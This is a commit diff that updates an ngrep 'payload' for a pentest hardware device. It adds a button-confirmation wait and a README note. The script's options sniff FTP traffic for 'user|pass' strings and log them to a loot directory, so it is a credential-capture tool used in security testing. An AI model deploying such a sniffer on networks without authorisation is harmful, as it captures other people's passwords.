Updated ngrep payload. (#25)
parent
1579f80efc
commit
916e810873
|
@ -4,6 +4,7 @@
|
|||
NGREP_OPTIONS=("-wiql" "user|pass" "port" "21")
|
||||
CONDITION=""
|
||||
WCNUM=3
|
||||
BUTTON_WAIT="5s"
|
||||
|
||||
LOOT_DIR="/mnt/loot/ngrep"
|
||||
LOG_FILE="${LOOT_DIR}/ngrep-${RANDOM}.log"
|
||||
|
@ -45,6 +46,7 @@ function run() {
|
|||
do
|
||||
NO_LED=true BUTTON && {
|
||||
checkLog && {
|
||||
BUTTON $BUTTON_WAIT && {
|
||||
LED FINISH
|
||||
kill $npid
|
||||
|
||||
|
@ -52,6 +54,7 @@ function run() {
|
|||
|
||||
LED OFF
|
||||
halt
|
||||
}
|
||||
} || {
|
||||
LED FAIL
|
||||
sleep 3
|
||||
|
|
|
@ -1,9 +1,12 @@
|
|||
# ngrep payload
|
||||
Credits: Hak5Darren, Sebkinne
|
||||
Small Edit: SebSeifert
|
||||
|
||||
# Description
|
||||
|
||||
Does packet sniffing stuff
|
||||
If the Button is pressed you have x seconds to push the button one more time. If pressed the payload ends and cleans up. Else it keeps running.
|
||||
|
||||
## Options
|
||||
|
||||
BUTTON_WAIT = The seconds you can wait until the button must be pressed to end the payload.
|
||||
|
||||
|
|
Loading…
Reference in New Issue